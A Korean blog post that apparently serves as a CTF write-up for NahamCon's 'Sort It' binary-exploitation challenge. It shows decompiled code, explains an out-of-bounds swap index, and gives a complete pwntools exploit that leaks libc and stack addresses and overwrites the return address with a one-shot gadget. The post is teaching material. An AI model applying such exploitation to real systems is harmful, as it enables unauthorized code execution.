Pwnstar
nahamcon CTF Sort It! 본문
요즘 주말마다 공부할 겸 한 문제라도 풀어보자라는 마인드로 CTF를 하나씩 참가하고 있는데, 계속 포너블만 조지다보니 그래도 조금씩 풀 수 있는 문제가 늘어나는 것 같다. 일요일에는 보통 데이트를 해서 토요일 하루만 빡세게 푸는데, 이번 씨텦에서 난이도가 높은 문제는 하나도 못풀어서 좀 아쉽다...그래도 5문제 정도 풀었는데, 너무 쉬운 문제나, 기록할만하지 않은 문제는 빼고 라업을 작성해야겠다.
쉬운 난이도 문제 두 개는 다 패스하기로 했다. 너무 쉬웠음;
중간 난이도 문제들이 적당히 어렵고 재밌었는데 sort it 부터 보자.
64비트 바이너리에 보호기법이 전부 걸려있다.
실행을 해 보면
단어들을 알파벳 순서대로 나열하라고 한다.
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 v4; // rdx
__int64 v5; // rsi
__int64 v6; // rdx
char v8; // [rsp+Fh] [rbp-71h]
__int64 v9; // [rsp+10h] [rbp-70h]
__int64 v10; // [rsp+18h] [rbp-68h]
__int64 v11; // [rsp+20h] [rbp-60h]
__int64 v12; // [rsp+28h] [rbp-58h]
__int64 v13; // [rsp+30h] [rbp-50h]
__int64 v14; // [rsp+38h] [rbp-48h]
__int64 v15; // [rsp+40h] [rbp-40h]
__int64 v16; // [rsp+48h] [rbp-38h]
__int64 v17; // [rsp+50h] [rbp-30h]
__int64 v18; // [rsp+58h] [rbp-28h]
__int64 v19; // [rsp+60h] [rbp-20h]
__int64 v20; // [rsp+68h] [rbp-18h]
unsigned __int64 v21; // [rsp+78h] [rbp-8h]
v21 = __readfsqword(0x28u);
v8 = 0;
v11 = 'egnaro';
v12 = 'eton';
v13 = 'elppa';
v14 = 'puc';
v15 = 'daerb';
v16 = 'arbez';
v17 = 'dnah';
v18 = 'naf';
v19 = 'noil';
v20 = 'licnep';
clear(*(_QWORD *)&argc, argv, envp);
puts("Sort the following words in alphabetical order.\n");
print_words(&v11);
v3 = "Press any key to continue...";
printf("Press any key to continue...");
getchar();
while ( v8 != 1 )
{
clear(v3, argv, v4);
print_words(&v11);
printf("Enter the number for the word you want to select: ");
__isoc99_scanf("%llu", &v9);
getchar();
--v9;
printf("Enter the number for the word you want to replace it with: ");
__isoc99_scanf("%llu", &v10);
getchar();
--v10;
v5 = v9;
swap(&v11, v9, v10);
clear(&v11, v5, v6);
print_words(&v11);
printf("Are the words sorted? [y/n]: ");
argv = (const char **)(&word_10 + 1);
v3 = &yn;
fgets(&yn, 17, stdin);
if ( yn != 110 )
{
if ( yn != 121 )
{
puts("Invalid choice");
getchar();
exit(0);
}
v8 = 1;
}
}
if ( (unsigned int)check(&v11) )
{
puts("You lose!");
exit(0);
}
puts("You win!!!!!");
return 0;
}
메인함수를 보면 자리를 바꿀 두 단어의 번호를 선택해서 두 단어의 위치를 swap함수를 이용해서 바꾸는데 단어는 10개인데, 선택할 수 있는 번호는 제한이 없어서 oob가 발생한다. 그리고 바꾸고 난 이후에 모든 단어를 정렬했는지 물어보는 부분에서 n을 입력하면 계속 단어들을 출력해주고 바꿀 수 있기 때문에 이 부분으로 릭을 할 수 있다.
libc파일이 주어지기 때문에 oneshot가젯을 쓰려면 우선 libc의 주소와 oneshot가젯을 입력할 부분이 필요했다. libc의 주소는 14번의 위치에 담겨 있어서 이걸 이용해서 leak을 하면 되고, 원샷 가젯은 전역변수 yn에 입력하기로 했다. 딱 17만큼만 입력할 수 있는 걸 보니 대놓고 이용하라고 써있는 것 같았다ㅋㅋ
그리고 스택의 주소를 기준으로 값이 어디에 위치하는 지 찾기 때문에, 스택의 주소도 leak해주어야 한다.
이후에는 스택의 주소에서 yn+8의 주소를 뺀 후 8로 나눠서 14와 바꿔주면 rip를 oneshot으로 덮어줄 수 있다.
ex.py
from pwn import*
import argparse
'''
1. orange
2. note
3. apple
4. cup
5. bread
6. zebra
7. hand
8. fan
9. lion
10. pencil
'''
def swap(num, num2, yn):
p.sendlineafter("select: ", str(num))
p.sendlineafter("with: ", str(num2))
p.sendlineafter("[y/n]: ", yn)
def exp():
p.recvuntil("continue...")
p.sendline()
swap(1, 3, "n")
swap(2, 5, "n")
swap(3, 4, "n")
swap(4, 8, "n")
swap(5, 7, "n")
swap(6, 9, "n")
swap(9, 10, "n")
#leak
swap(10, 14, "n")
p.recvuntil("10. ")
libc_start = u64(p.recv(6) + "\x00\x00")
log.info(hex(libc_start))
libc = libc_start - 0x270b3
oneshot = libc + 0xe6c81
log.info(hex(libc))
log.info(hex(oneshot))
swap(14, 10, "n"*0x8 + p64(oneshot)) #recover
#leak yn address
swap(10, 18, "n")
p.recvuntil("10. ")
yn = u64(p.recv(6) + "\x00\x00") + 0x2c91 + 8
log.info(hex(yn))
swap(18, 10, "n")
#leak stack address
swap(10, 11, "n")
p.recvuntil("10. ")
stack_addr = u64(p.recv(6) + "\x00\x00") - 0x150
log.info(hex(stack_addr))
idx = (yn - stack_addr + 8) / 8
swap(11, 10, "n")
#exploit
swap(idx, 14, "y")
p.interactive()
if __name__ == '__main__' :
context.arch = 'amd64'
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true')
args = parser.parse_args()
if args.remote :
p = remote("challenge.nahamcon.com", 31503)
else:
env = {'LD_PRELOAD' : "./libc-2.31.so"}
p = process(['./sort_it'], env=env)
pie = p.libs()['/home/pwnstar/ctf/naham/sort/sort_it']
bp = pie + 0x0000000000001256
bp_check = pie + 0x000000000000147B
script='''
b*{}
b*{}
'''.format(hex(bp), hex(bp_check))
gdb.attach(p, script)
exp()
음 문제가 막 어려웟다기보단 풀기 재밌었다.
'CTF' 카테고리의 다른 글
nahamconCTF some-really-ordinary-program (0) | 2021.03.15 |
---|---|
nahamconCTF Rock Paper Scissors (0) | 2021.03.15 |
zer0ptsCTF oneshot (0) | 2021.03.08 |
diceCTF flippidy (0) | 2021.02.08 |
CSAW CTF bard's fail (0) | 2020.09.18 |